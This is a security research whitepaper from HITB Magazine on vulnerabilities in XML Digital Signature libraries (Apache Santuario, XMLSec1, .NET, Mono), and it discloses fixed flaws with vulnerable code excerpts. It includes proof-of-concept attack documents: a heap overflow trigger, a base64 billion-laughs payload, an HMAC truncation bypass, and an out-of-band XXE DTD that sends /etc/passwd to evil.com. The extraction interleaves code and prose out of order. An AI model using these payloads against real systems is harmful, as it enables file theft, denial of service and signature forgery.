(SOAP) which is a specification for building Web Services that makes extensive
use of XML could apply signatures to authenticate the identity of the caller. This is
where the XML Digital Signature specification comes in, as it defines a process to sign
arbitrary XML content such as SOAP requests.
A reasonable amount of research (such as [1] or [2]) has been undertaken on the
Application Security
Exploiting XML
Digital Signature
Implementations
This whitepaper is a description of the results of independent research into specific
library implementations of the XML Digital Signature specification. It describes what
the XML Digital Signature specification is as well as the vulnerabilities discovered
during the research. The vulnerabilities ranged in severity from memory corruptions,
which could lead to remote code execution, through to denial-of-service, signature
spoofing and content modifications. This whitepaper also includes some novel
attacks against XML Digital Signature processors which could have applicability to
any applications which process XML content.
january 2014 | Issue 10 | HITB 125
Application Security
uses of the specification and its flaws, however comparatively little has been done
on the underlying libraries and implementations of the specification. Making the
assumption that there are likely to be bugs in XML digital signature implementations,
a program of research was undertaken to look at widely available implementations.
This whitepaper describes the findings of that research including descriptions of
some of the serious issues identified.
One of the purposes of signing XML content is to ensure that data has not been
tampered with and that the signer is known to the signature processor. This could
easily lead to XML digital signatures being used in unauthenticated scenarios where
the signature processor has no other way of verifying the identity of the sender. For
example, XML content sent over a clear text protocol such as HTTP could easily be
tampered with during transmission, but signing the content allows the receiver to
verify that no modification has been performed. Therefore, any significant bugs in
the implementations of these libraries could expose systems to attack.
Implementations Researched
The research focussed on 5 implementations, all but one is open-source:
● Apache Santuario C++ 1.7.0 [3]
● Apache Santuario Java 1.5.4 (also distributed with Oracle JRE) [3]
● XMLSec1 [4]
● Microsoft .NET 2 and 4 [5]
● Mono 2.9 [6]
figure 1: Unsigned XML Document
<transaction>
<payee>Bob Smith</payee>
<amount>$250</amount>
</transaction>
figure 2: Signed XML Document
<transaction>
<payee>Bob Smith</payee>
<amount>$250</amount>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>B9OL...</SignatureValue>
</Signature>
</transaction>
Test Harnesses
A signature must contain at least two XML elements, SignedInfo and SignatureValue.
The SignatureValue contains a Base64 encoded signature, the specification only
requires DSA over a SHA1 digest or a SHA1 HMAC, the optional RSA with SHA1 is
available in all researched implementations. The type of signature is determined by
the Algorithm attribute in the SignatureMethod element. This is an example of an
Algorithm Identifier, which is one of the ways the XMLDSIG specification exposes its
flexibility.
Overview of XML Digital Signature Specification
The signature is not actually applied directly over the XML content that needs
protection; instead the SignedInfo element is the part of the document which is
signed. In turn, the SignedInfo element contains a list of references to the original
document’s XML content. Each reference contains the digest value of the XML and a
URI attribute which refers to the location of the XML. There are 5 types of reference
URI defined in the specification, the following table lists them and also shows some
examples.
Where available the default test tools which come with the implementation were
used to test the security vulnerabilities identified. For example, the Apache
Santuario C++ library comes with the ‘checksig’ utility to perform simple signature
verification. If test tools were not directly available example code from the vendor
(e.g. from MSDN [8] or Java’s documentation [9]) was used on the basis that this
would likely be repurposed in real products.
XML Digital Signatures is a W3C specification [10] (referred to as XMLDSIG from here
on) to cryptographically sign arbitrary XML content. The result of the signing process
is an XML formatted signature element which encapsulates all the information
necessary to verify the signature at a future time.
The specification was designed with flexibility in mind, something which is commonly
the enemy of security. Signatures are represented as XML, which can be embedded
inside a signed document or used externally.
126 HITB | Issue 10 | january 2014
Reference Type
ID Reference Entire Document
XPointer ID Reference XPointer Entire Document External Reference Example
<Reference URI="#xyz">
<Reference URI="">
<Reference URI="#xpointer(id('xyz'))">
<Reference URI="#xpointer('/')">
<Reference URI="http://www.domain.com/file.xml">
Application Security
The approach taken was to perform a code review on the implementations in order
to identify any serious security issues, along with the creation of proof-of-concept
attacks to ensure the findings were valid. While the Microsoft .NET source code is
not officially public, all the classes under investigation can be accessed from the
reference source code [7] and through the use of publically available decompilers
such as ILSpy or Reflector.
Figure 1 shows a simple XML file, without a signature while Figure 2 contains an
example of that file with the signature applied. Large base64 encoded binary values
have been truncated for brevity.
january 2014 | Issue 10 | HITB 127
Application Security
Referencing content by ID relies on XML ID attributes; however it is only possible to
reliably specify an ID value through the application of a Document Type Definition
(DTD) which from a security point of view is dangerous due to existing attacks such
as Denial-of-Service. Therefore, to counter such attacks, most implementations are
fairly lenient when determining what constitutes a valid ID attribute. This reference
type leads to the most common attack against users of XMLDSIG which is Signature
Wrapping [1] as ID values are not context specific.
Referencing the entire document, especially when the signature is embedded in the
document, seems like it would be impossible to verify, as the verification process
would have to attempt to verify the attached signature block. To ensure this use
case is achievable the XMLDSIG specification defines a special Enveloped Transform
which allows the implementation to remove the signature element before reference
verification. Each reference can also contain a list of other specialist transformations.
Canonicalization
By signing XML content, rather than the raw bytes of an XML document, the W3C were
faced with a problem, specifically the possibility that intermediate XML processors
might modify the document’s physical structure without changing the meaning.
An obvious example is text encodings. As long as the content is the same there is no
reason why an XML file stored as UTF-8 should not have the same signature value
as one stored as UTF-16. There are other changes which could occur which don’t
affect the meaning of the XML but would affect its physical representation, such as
the order of attributes, as the XML specification does not mandate how a processor
should serialize content.
figure 3: Original XML Document
<?xml version="1.0" encoding="utf-8"?>
<root y='1' x="test"/>
figure 4: XML Canonical Form
<root x="test" y="1"></root>
The XMLDSIG specification requires the implementation of versions 1.0 and 1.1 of
the Canonical XML specification including or not including XML comments in the
output. The Exclusive XML Canonicalization algorithm [12] can also be used if the
implementation wants to define it.
The primary uses of canonicalization are in the processing of the SignedInfo element
for verification. The specification defines a CanonicalizationMethod element with
an associated Algorithm attribute which specifies which algorithm to apply. The
identifiers are shown in the following table.
128 HITB | Issue 10 | january 2014
Algorithm ID
http://www.w3.org/TR/2001/REC-xml-c14n-20010315
http://www.w3.org/2006/12/xml-c14n11
http://www.w3.org/TR/2002/REC-xml-exc-c14n-20020718/
Transforms
The process of canonicalization performs a transformation on the XML content
and produces a known output. The specification abstracts this concept further by
including other transform algorithms which can be specified in the Transforms list in
a Reference element.
Each transform, just like canonicalization, is assigned a unique Algorithm ID. The
specification defines 5 transforms that an implementer might want to put into
their library. However the implementer is free to develop custom transforms
and assign them unique Algorithm IDs. Multiple transforms can be specified in a
Reference element, the implementation chains them up together which are invoked
sequentially.
The recommended transforms are:
Transform Type
Algorithm ID
Canonicalization Same as for CanonicalizationMethod
Base64http://www.w3.org/2000/09/xmldsig#base64
XPath Filtering http://www.w3.org/TR/1999/REC-xpath-19991116
Enveloped Signature
http://www.w3.org/2000/09/xmldsig#enveloped-signature
XSLT http://www.w3.org/TR/1999/REC-xslt-19991116
The recommendation of XSLT is interesting because of the wide attack surface it
brings, including the ability to cause denial of service issues and also the abuse of
XSLT extensions such as file writing and scripting. This has been shown in the past to
be an issue, for example in the XMLSec1 library [13].
Vulnerabilities
The following is a summary of the vulnerabilities identified during the research which
have been fixed at the time of writing, or are not likely to be fixed. There are a range
of issues including memory corruption which can lead to remote code execution and
techniques to modify signed content to bypass signature checks.
CVE-2013-2156: Heap Overflow Vulnerability
Affected: Apache Santuario C++
This vulnerability was a heap overflow in the processing of the exclusive
canonicalization prefix list. When using exclusive canonicalization in the Transform
element it is possible to specify a whitespace delimited list of XML namespace
prefixes processed as-per the rules of the original Inclusive XML Canonicalization
algorithm. [14]
figure 5: Exclusive XML Canonicalization Transform with PrefixList
<Transform
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="soap #default"
xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</Transform>
Application Security
With this problem in mind the W3C devised the canonical XML specification [11]
which defines a series of processing rules which can be applied to parsed XML content
to create a known canonical binary representation. For example, it specifies the
ordering of attributes, and mandates the use of UTF-8 as the only text encoding
scheme. For example Figure 3 shows an XML document and Figure 4 its canonical
form after processing.
Canonicalization Type
Version 1.0 Version 1.1
Exclusive january 2014 | Issue 10 | HITB 129
Application Security
The vulnerability is due to a copy-and-paste error during the parsing of prefix list
tokens. The vulnerable code is shown below, the issue stems from the NUL (‘\0’)
being included in the list of whitespace characters during parsing.
figure 6: Heap Overflow in XSECC14n20010315.cpp
void XSECC14n20010315::setExclusive(char * xmlnsList) {
char * nsBuf;
setExclusive();
figure 7: Proof-of-concept for Heap Overflow
// Set up the define non-exclusive prefixes
nsBuf = new char [strlen(xmlnsList) + 1];
if (nsBuf == NULL) {
throw XSECException (XSECException::MemoryAllocationFail,
"Error allocating a string buffer in XSECC14n20010315::setExclusive");
}
int i, j;
i = 0;
while (xmlnsList[i] != '\0') {
while (xmlnsList[i] == ' ' ||
xmlnsList[i] == '\0' ||
xmlnsList[i] == '\t' ||
xmlnsList[i] == '\r' ||
xmlnsList[i] == '\n')
++i; // Skip white space
j = 0;
while (!(xmlnsList[i] == ' ' ||
xmlnsList[i] == '\0' ||
xmlnsList[i] == '\t' ||
xmlnsList[i] == '\r' ||
xmlnsList[i] == '\n'))
nsBuf[j++] = xmlnsList[i++]; // Copy name
}
delete[] nsBuf;
The code receives the prefix list from the signature parser in the xmlnsList parameter
and then allocates a new string nsBuf to capture each of the prefixes in turn. By
allocating a buffer at least as large as in the input string it should cover the worst case
of the entire string being a valid prefix. The code then goes into a while loop waiting
for the termination of the input string, firstly skipping past any leading whitespace
characters. This is where the bug occurs, if the string contains only whitespace this
will skip not just those characters but also move past the end of the input string
because it consumes the NUL terminator.
When a non-whitespace character is found the code copies the string from the input
to the output allocated heap buffer. As we are on longer within the original string
there is a reasonable chance the buffer pointer to by xmlnsList[i] is much larger than
the original one (and we can influence this buffer) causing a heap overflow.
130 HITB | Issue 10 | january 2014
<transaction>
<payee>Bob Smith</payee>
<amount>$250</amount>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="AAAAA..."
xmlns="http://www.w3.org/2001/10/xml-exc-c14n#" />
</Transform>
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList=" "
xmlns="http://www.w3.org/2001/10/xml-exc-c14n#" />
</Transform>
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<DigestValue>C2pGRrEqH3IUEx176BWOjkbTJII=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>LH37...</SignatureValue>
</Signature>
</transaction>
Note that due to the way the Apache Santuario C++ library verifies signatures it
performs reference verification first, and then checks the SignedInfo element. This
means that this attack does not require a valid signature to work.
CVE-2013-2154: Stack Overflow Vulnerability
Affected: Apache Santuario C++
This vulnerability was due to incorrect parsing of the XPointer ID field during
signature parsing, leading to a trivial stack buffer overflow. The vulnerable code is
shown below.
figure 8: Stack Overflow in DSIGReference.cpp
TXFMBase * DSIGReference::getURIBaseTXFM(DOMDocument * doc,
const XMLCh * URI,
const XSECEnv * env) {
// Determine if this is a full URL or a pointer to a URL
if (URI == NULL || (URI[0] != 0 &&
URI[0] != XERCES_CPP_NAMESPACE_QUALIFIER chPound)) {
TXFMURL * retTransform;
// Have a URL!
Application Security
// Terminate the string
nsBuf[j] = '\0';
if (strcmp(nsBuf, "#default") == 0) {
// Default is not to be exclusive
m_exclusiveDefault = false;
}
else {
// Add this to the list
m_exclNSList.push_back(strdup(nsBuf));
}
}
Reasonably reliable exploitation can be achieved by specifying two transforms, one
which allocates a very large block of characters we want to use in the heap overflow.
Then, we apply the second vulnerable transform. Through inspection it was found
that the first transform’s prefix list shared the location of the second providing a
controllable overflow. Figure 7 is a cut down example which will cause the overflow
condition.
january 2014 | Issue 10 | HITB 131
Application Security
XSECnew(retTransform, TXFMURL(doc, env->getURIResolver()));
}
try {
((TXFMURL *) retTransform)->setInput(URI);
}
catch (...) {
delete retTransform;
throw;
}
return retTransform;
// Have a fragment URI from the local document
TXFMDocObject * to;
XSECnew(to, TXFMDocObject(doc));
Janitor<TXFMDocObject> j_to(to);
to->setEnv(env);
// Find out what sort of object pointer this is.
if (URI[0] == 0) {
// empty pointer - use the document itself
to->setInput(doc);
to->stripComments();
}
else if (XMLString::compareNString(&URI[1], s_unicodeStrxpointer, 8) == 0) {
// Have an xpointer
if (strEquals(s_unicodeStrRootNode, &URI[9]) == true) {
// Root node
to->setInput(doc);
}
else if (URI[9] == XERCES_CPP_NAMESPACE_QUALIFIER chOpenParen &&
URI[10] == XERCES_CPP_NAMESPACE_QUALIFIER chLatin_i &&
URI[11] == XERCES_CPP_NAMESPACE_QUALIFIER chLatin_d &&
URI[12] == XERCES_CPP_NAMESPACE_QUALIFIER chOpenParen &&
URI[13] == XERCES_CPP_NAMESPACE_QUALIFIER chSingleQuote) {
xsecsize_t len = XMLString::stringLen(&URI[14]);
XMLCh tmp[512];
if (len > 511)
len = 511;
Canonicalization Content Injection Vulnerability
Affected: Mono, XMLSec1
The process of canonicalization is fundamental to the operation of XMLDSIG, without
it any processor of signed XML content might change the physical structure of a
document sufficiently to invalidate the signature. From one point of view that would
probably be a good thing, but it was considered an issue important enough during
the development of specification that a mechanism was devised to limit the impact.
The root cause of this vulnerability was the incorrect escaping of XML namespace
attributes during the canonicalization process. All the implementations researched
used a similar process to generate the canonical XML, namely, they take a parsed
document, manually build the output using a string formatter or builder, then finally
convert the string to a UTF-8 byte stream. Therefore as the canonicalizer is converting
from parsed content to XML content it must carefully escape any characters such as
less-than or greater-than and where appropriate double and single quotes.
For example, in LibXML2 (which is where the XMLSec1 implementation of the
canonicalization algorithm is defined) the following code prints the namespace
values to the output stream.
figure 9: C14n.c: LibXML2 Attribute Canonicalization
static int
xmlC14NPrintAttrs(const xmlAttrPtr attr, xmlC14NCtxPtr ctx)
{
xmlChar *value;
xmlChar *buffer;
if ((attr == NULL) || (ctx == NULL)) {
xmlC14NErrParam("writing attributes");
return (0);
}
}
else {
throw XSECException(XSECException::UnsupportedXpointerExpr);
}
// Keep comments in these situations
to->activateComments();
}
xmlOutputBufferWriteString(ctx->buf, " ");
if (attr->ns != NULL && xmlStrlen(attr->ns->prefix) > 0) {
xmlOutputBufferWriteString(ctx->buf,
(const char *) attr->ns->prefix);
xmlOutputBufferWriteString(ctx->buf, ":");
}
xmlOutputBufferWriteString(ctx->buf, (const char *) attr->name);
xmlOutputBufferWriteString(ctx->buf, "=\"");
}
else {
to->setInput(doc, &URI[1]);
// Remove comments
to->stripComments();
}
j_to.release();
return to;
This code is processing the URI attribute for a reference to determine what type of
reference it is. The actual vulnerable code occurs when processing a URI of the form
‘#xpointer(id('xyz'))’. When it finds a URI of that form is creates a new 512 character
stack buffer to copy the parsed ID value into, it does verification of the length and
truncates a len variable appropriately. It then never uses it and proceeds to copy
132 HITB | Issue 10 | january 2014
}
value = xmlNodeListGetString(ctx->doc, attr->children, 1);
if (value != NULL) {
buffer = xmlC11NNormalizeAttr(value);
xmlFree(value);
if (buffer != NULL) {
xmlOutputBufferWriteString(ctx->buf, (const char *) buffer);
xmlFree(buffer);
} else {
xmlC14NErrInternal("normalizing attributes axis");
return (0);
}
}
xmlOutputBufferWriteString(ctx->buf, "\"");
return (1);
Application Security
xsecsize_t j = 14, i = 0;
// Have an ID
while (URI[j] != '\'') {
tmp[i++] = URI[j++];
}
tmp[i] = XERCES_CPP_NAMESPACE_QUALIFIER chNull;
to->setInput(doc, tmp);
the entire string until it finds a single quote character (something is has not verified
even exists). This will cause a trivial stack overflow to occur during processing of
signature references.
january 2014 | Issue 10 | HITB 133
Application Security
The code to output namespace attributes is as follows. Note the lack of the call
to xmlC11NNormalizeAttr which would mean we can inject a double quote into
the output:
figure 10: C14n.c: LibXML2 Namespace Canonicalization
static int
xmlC14NPrintNamespaces(const xmlNsPtr ns, xmlC14NCtxPtr ctx)
{
if ((ns == NULL) || (ctx == NULL)) {
xmlC14NErrParam("writing namespaces");
return 0;
}
}
if (ns->prefix != NULL) {
xmlOutputBufferWriteString(ctx->buf, " xmlns:");
xmlOutputBufferWriteString(ctx->buf, (const char *) ns->prefix);
xmlOutputBufferWriteString(ctx->buf, "=\"");
} else {
xmlOutputBufferWriteString(ctx->buf, " xmlns=\"");
}
if(ns->href != NULL) {
xmlOutputBufferWriteString(ctx->buf, (const char *) ns->href);
}
xmlOutputBufferWriteString(ctx->buf, "\"");
return (1);
If you actually try and exploit this vulnerability on XMLSec1 you will encounter a
small problem namespace attribute values must be valid URIs. This would preclude
adding a namespace with a double quote embedded in it. However there is an edge
case in the URI parser LibXML2 uses, if the URI contains a hostname surrounded by
square braces, as used for IPv6 addresses, it will treat everything within the braces
as valid.
figure 11: Example Document
Many transforms output a stream of bytes, therefore is order to be more flexible in
what transforms you can chain together all the researched implementation allow
a parsing step to be implicitly injected into the transform chain to reparse a byte
stream back into a XML document.
The vulnerability is a result of not disabling the processing of DTDs during this
reparsing step. This can lead to trivial XML bomb style denial of service attacks but
also in certain circumstances lead to file stealing vulnerabilities through the use of
Out-of-band XML External Entity Inclusion (XXE) [15].
For example the code to reparse the XML content in .NET for canonical XML coming
from a byte stream is as shown in Figure 13 below. As the default for the XmlDocument
class (from which CanonicalXmlDocument is derived) is to process DTDs and provide
no protection against Entity Expansion attacks this introduces the vulnerability.
figure 13: Reparsing XML Content During Transformation
internal CanonicalXml(Stream inputStream, bool includeComments,
XmlResolver resolver, string strBaseUri) {
if (inputStream == null)
throw new ArgumentNullException("inputStream");
}
m_c14nDoc = new CanonicalXmlDocument(true, includeComments);
m_c14nDoc.XmlResolver = resolver;
m_c14nDoc.Load(Utils.PreProcessStreamInput(inputStream, resolver, strBaseUri));
m_ancMgr = new C14NAncestralNamespaceContextManager();
There are two ways of getting the DTD into the transformation process, either through
use of the Base64 transform to create an arbitrary byte stream (as in Figure 14) for
an XML document containing a DTD followed by a canonicalization transform or, if
the implementation supports it, though specifying a Reference URI to an external
XML file.
figure 14: Vulnerable Transformation Chain
<root xmlns:x="http://[&quot; dummy=&quot;Hello]" />
figure 12: Canonical Document
<root xmlns:x="http://[" dummy="Hello]"></root>
This restriction is not present in the Mono implementation due to differences in the
XML parser. Both implementations were developed by Aleksey Sanin, the XMLSec1
version was written first (based on copyright date of the file) which might give
an explanation as to why the vulnerability exists. As LibXML2 requires valid URIs
for namespace attributes there would be no vulnerabilities, at least without the
technique to inject double quotes using the IPv6 hostname syntax.
CVE-2013-XXXX: Transformation DTD Processing Vulnerability
Affected: All researched implementations
The transformation of references is an interesting process; an attacker can specify
multiple transforms to be used in a sequence. For example, they could specify a
134 HITB | Issue 10 | january 2014
Parsed XML
Document
Base 64
Transform
Byte Stream
XML Parser
Canonicalization
The following is a simple example of a billion laughs attack against .NET. The file
needs to have a valid signature (which is not provided in the example) but it should
demonstrate the overall structure necessary to perform the attack.
figure 15: Billion Laughs DoS Attack Against .NET
<?xml version="1.0" encoding="utf-8"?>
<root>
PD94bWwgdmVyc2lvbj0iMS4wIj8+CjwhRE9DVFlQRSBsb2x6IFsKICA8IUVOVElUWSBsb2wgImxv
bCI+CiAgPCFFTlRJVFkgbG9sMiAiJmxvbDsmbG9sOyZsb2w7JmxvbDsmbG9sOyZsb2w7JmxvbDsm
bG9sOyZsb2w7JmxvbDsiPgogIDwhRU5USVRZIGxvbDMgIiZsb2wyOyZsb2wyOyZsb2wyOyZsb2wy
OyZsb2wyOyZsb2wyOyZsb2wyOyZsb2wyOyZsb2wyOyZsb2wyOyI+CiAgPCFFTlRJVFkgbG9sNCAi
JmxvbDM7JmxvbDM7JmxvbDM7JmxvbDM7JmxvbDM7JmxvbDM7JmxvbDM7JmxvbDM7JmxvbDM7Jmxv
bDM7Ij4KICA8IUVOVElUWSBsb2w1ICImbG9sNDsmbG9sNDsmbG9sNDsmbG9sNDsmbG9sNDsmbG9s
NDsmbG9sNDsmbG9sNDsmbG9sNDsmbG9sNDsiPgogIDwhRU5USVRZIGxvbDYgIiZsb2w1OyZsb2w1
Application Security
As an example if the XML in Figure 11 is canonicalized it becomes instead Figure
12. This can be used to perform very limited content modification, mainly as shown
hiding attributes and also modifying document namespaces.
Base64 transform followed by a canonicalization algorithm. There is a problem here
in that most transforms need some sort of parsed XML document to execute their
processing.
january 2014 | Issue 10 | HITB 135
Application Security
OyZsb2w1OyZsb2w1OyZsb2w1OyZsb2w1OyZsb2w1OyZsb2w1OyZsb2w1OyZsb2w1OyI+CiAgPCFF
TlRJVFkgbG9sNyAiJmxvbDY7JmxvbDY7JmxvbDY7JmxvbDY7JmxvbDY7JmxvbDY7JmxvbDY7Jmxv
bDY7JmxvbDY7JmxvbDY7Ij4KICA8IUVOVElUWSBsb2w4ICImbG9sNzsmbG9sNzsmbG9sNzsmbG9s
NzsmbG9sNzsmbG9sNzsmbG9sNzsmbG9sNzsmbG9sNzsmbG9sNzsiPgogIDwhRU5USVRZIGxvbDkg
IiZsb2w4OyZsb2w4OyZsb2w4OyZsb2w4OyZsb2w4OyZsb2w4OyZsb2w4OyZsb2w4OyZsb2w4OyZs
b2w4OyI+Cl0+Cjxsb2x6PiZsb2w5OzwvbG9sej4K
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#base64" />
<Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<DigestValue>l8b...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>tM+3...</SignatureValue>
</Signature>
</root>
The following is an example of file stealing using Out-of-band XXE against the Apache
Santuario C++ library. Other libraries work to a greater or lesser extent; Xerces C++
on which the implementation is based is especially vulnerable as it will inject the
entire file’s contents into a HTTP request of the attackers choosing. Figure 16 is the
signed XML file with an external URI reference to the document in Figure 17. That
document references an external DTD which allows for the XXE attack and will post
the /etc/passwd file to the location under attack control.
figure 16: Signed XML With External Reference
figure 17: Xxe.xml: External Reference with DTD
<!DOCTYPE root SYSTEM "http://evil.com/pe.dtd" >
<root>&test;</root>
<!ENTITY % x SYSTEM "file:///etc/passwd">
<!ENTITY % y "<!ENTITY test SYSTEM 'http://evil.com:8888/test?%x;'>">
%y;
CVE-2013-2155: HMAC Truncation Bypass/DoS Vulnerability
Affected: Apache Santuario C++
One previous vulnerability which affected almost every implementation of XMLDSIG
was CVE-2009-0217, which was an issue related to the truncation of HMAC signatures.
The XMLDSIG specification allows an HMAC to be truncated through the definition
of an HMACOutputLength element underneath the SignatureMethod element which
determined the number of bits to truncate to. The vulnerability was due to no lower
bound checks being made on the number of bits which led to many implementations
allowing 0 or 1 bits which can be trivially brute forced.
In response to CVE-2009-0217, almost every implementation was updated to conform
to a small specification change [16] which required the lower bound of the HMAC
truncation to be either 80 bits or half the hash digest length, which ever was greater.
The main check in Apache Santuario C++ is in DSIGAlgorithmHandlerDefault.cpp.
figure 19: Fix for CVE-2009-0217
case (XSECCryptoKey::KEY_HMAC) :
// Already done - just compare calculated value with read value
// FIX: CVE-2009-0217
if (outputLength > 0 && (outputLength < 80 || outputLength < hashLen / 2)) {
throw XSECException(XSECException::AlgorithmMapperError,
"HMACOutputLength set to unsafe value.");
}
sigVfyRet = compareBase64StringToRaw(sig, hash, hashLen, outputLength);
break;
At this point the type of outputLength is an unsigned integer so it is sufficient to set
the value to at least larger than half the hash digest length. The hash value is then
checked in the compareBase64StringToRaw function shown in Figure 20.
figure 20: Hash Value Comparison
bool compareBase64StringToRaw(const char * b64Str,
unsigned char * raw,
unsigned int rawLen,
unsigned int maxCompare = 0) {
// Decode a base64 buffer and then compare the result to a raw buffer
// Compare at most maxCompare bits (if maxCompare > 0)
// Note - whilst the other parameters are bytes, maxCompare is bits
unsigned char outputStr[MAXB64BUFSIZE];
unsigned int outputLen = 0;
// Compare
div_t d;
d.rem = 0;
d.quot = 0;
unsigned int maxCompareBytes, maxCompareBits;
maxCompareBits = 0;
unsigned int size;
if (maxCompare > 0) {
d = div(maxCompare, 8);
136 HITB | Issue 10 | january 2014
Application Security
<transaction>
<payee>Bob Smith</payee>
<amount>$250</amount>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
<Reference URI="http://evil.com/xxe.xml">
<Transforms>
<Transform
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>B9OL...</SignatureValue>
</Signature>
</transaction>
figure 18: Pe.dtd: XXE Attack External DTD
january 2014 | Issue 10 | HITB 137
Application Security
maxCompareBytes = d.quot;
if (d.rem != 0)
maxCompareBytes++;
if (rawLen < maxCompareBytes && outputLen < maxCompareBytes) {
if (rawLen != outputLen)
return false;
size = rawLen;
}
else if (rawLen < maxCompareBytes || outputLen < maxCompareBytes) {
return false;
}
else
size = maxCompareBytes;
}
else {
if (rawLen != outputLen)
return false;
size = rawLen;
}
// Compare bytes
unsigned int i, j;
for (i = 0; i < size; ++ i) {
if (raw[i] != outputStr[i])
return false;
}
// Compare bits
char mask = 0x01;
if (maxCompare != 0) {
for (j = 0 ; j < (unsigned int) d.rem; ++i) {
if ((raw[i] & mask) != (outputStr[i] & mask))
return false;
}
}
}
mask = mask << 1;
return true;
figure 21: Signed XML With Truncated HMAC
<transaction>
<payee>Bob Smith</payee>
<amount>$250</amount>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
<SignatureMethod
138 HITB | Issue 10 | january 2014
Unfortunately due to a bug in the logic for checking the residual bits this attack
results in a crash and therefore a denial-of-service condition. This is because while
‘j’ is used at the current bit counter, ‘i' is incremented in the loop which is being used
to index the memory location in the HMAC. Clearly this means that no-one actually
every verified that the truncated HMAC check worked correctly with residual bits
as it would likely never work correctly in any circumstance, and if the check passed
would result in a access violation.
Potential Timing Attacks in HMAC Verification
Affected: .NET, Apache Santuario C++, XMLSec1, Mono
It should be noted that this is considered only a potential issue as no further research
has actually been performed to verify that these attacks are of a practical nature.
While inspecting the source code for HMAC verification in the researched
implementation one interesting this came to light, all implementations barring
Santuario Java and Oracle JRE might be vulnerable to remote timing attacks against
the verification of HMAC signatures.
Based on previous research (for example [17]) the verification of HMAC signatures
can be brute forced by exploiting non-constant time comparisons between the
calculated and attacker provided signatures. The check identified in Apache
Santuario C++ clearly exits the checking for loop on the first incorrect byte. This is
almost the canonical example of a non-constant time comparison. Mono and .NET
exhibit both contain the exact same coding pattern as C++. XMLSec1 instead uses
the memcmp function to perform its comparisons, this would be vulnerable on
certain platforms with C library implementations which perform a naïve check. The
Java implementations would have been vulnerable prior to CVE-2009-3875 which
modified the MessageDigest.isEqual method to be constant-time.
As an example the check function for Mono is as shown in Figure 22, it clearly exits
early in the loop depending on the input. Of course there is a possibility that the
Mono JIT would convert this to a function which is not vulnerable.
figure 22: Mono HMAC Compare Function
private bool Compare (byte[] expected, byte[] actual)
{
bool result = ((expected != null) && (actual != null));
if (result) {
Application Security
The function converts the base64 string to binary (not shown) then divides the
maxCompare value (which is the HMACOutputLength value) by 8 using the div
function to determine the number of whole bytes to compare and the number of
residual bits. As the div function uses signed integers it is possible to exploit an
integer overflow vulnerability. By specifying a HMACOutputLength of -9 the logic
will force the whole number of bytes to be 0 and the residual bit count to be -1,
which translates to an unsigned count of 0xFFFFFFFF. As -9 when translated to an
unsigned integer is larger than the hash length divided by 2 this bypasses the fix for
2009-0217 but truncates the HMAC check to 8 bits (due to the shifting mask value).
This is well within the possibilities of a brute-force attack as only 256 attempts (128
on average) would need to be needed to guess a valid HMAC.
Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
<HMACOutputLength>-9</HMACOutputLength>
</SignatureMethod>
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<DigestValue>IDp9...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue> </SignatureValue>
</Signature>
</transaction
january 2014 | Issue 10 | HITB 139
Application Security
int l = expected.Length;
result = (l == actual.Length);
if (result) {
for (int i=0; i < l; i++) {
if (expected[i] != actual[i])
return false;
}
}
}
The Entity Reference node is generated during parsing to maintain the structure
of custom DTD entities in the parsed tree. Entities are XML escape sequences,
beginning with ampersand ‘&’ and ending with a semi-colon. In between is either a
named value or a numeric sequence to indicate a particular character value. DTDs
can create custom entities through the ENTITY declaration.
figure 24: Normal Signature DOM Tree
}
return result;
Signature
Element
CVE-2013-2153: Entity Reference Signature Bypass Vulnerability
Affected: Apache Santuario C++
This vulnerability would allow an attacker to modify an existing signed XML
